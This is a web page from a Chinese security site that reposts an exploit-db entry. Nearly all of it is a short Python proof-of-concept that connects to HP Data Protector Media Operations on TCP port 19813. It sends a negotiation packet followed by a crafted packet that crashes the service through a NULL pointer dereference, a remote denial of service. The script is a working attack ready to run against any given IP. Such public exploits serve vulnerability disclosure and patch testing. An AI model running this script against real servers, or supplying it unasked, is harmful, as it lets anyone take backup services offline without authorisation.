首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HP Data Protector Media Operations NULL Pointer Dereference Remote DoS
来源:www.exploit-db.com 作者:d0lc3 发布时间:2010-10-07  

#!/usr/bin/python

import socket,struct,sys,os

SIGN=0x04030201
cmd=0x01000000

def main():
 if len(sys.argv)!=2:
  print"\n[x] Usage: python "+sys.argv[0]+" < ip_server >\n"
  sys.exit(0)
 
 else:
  host=sys.argv[1],19813 #default port TCP/19813

 if sys.platform=="win32":
     os.system("cls")
 else:
     os.system("clear")
 
 s=socket.socket()
 try:
  s.connect(host)
  s.recv(1024)
 except:
  print"[x] Error connecting to remote host! This is g00d :D."
  sys.exit(0)
 print"[+] Building crafted packets..."
 #packet negotiation request
 pktnego=struct.pack(">L",cmd+0x1)  #+0
 pktnego+=struct.pack("<L",0x00000000)  #+4
 pktnego+=struct.pack("<L",SIGN)   #+8 (signature)
 #packet crash
 pkt1=struct.pack("<L",cmd+0x2)
 pkt1+=struct.pack(">L",0x00000001)  # != 0x0
 pkt1+=struct.pack("<L",SIGN)
 #end 
 print"[+] Negotiation."
 s.send(pktnego)
 s.recv(1024)
 s.send(pkt1)#crash!
 s.close()

if __name__=="__main__":
 main()
#PoC: http://www.exploit-db.com/sploits/15214.zip


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ASP.NET Padding Oracle Vulnera
·Adobe Acrobat and Reader Array
·Microsoft IIS FTP Server NLST
·Abhimanyu Infotech (show_news.
·FreeBSD 2010 8.*, 7.* Local Ro
·SnackAmp 3.1.3B Malicious SMP
·HP Data Protector Manager v6.1
·FreeBSD 'pseudofs' NULL Pointe
·Multiple Vendors libc/glob(3)
·win32/xp pro sp3 (EN) 32-bit -
·Joomla Component com_clubmanag
·generic win32 - add new local
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved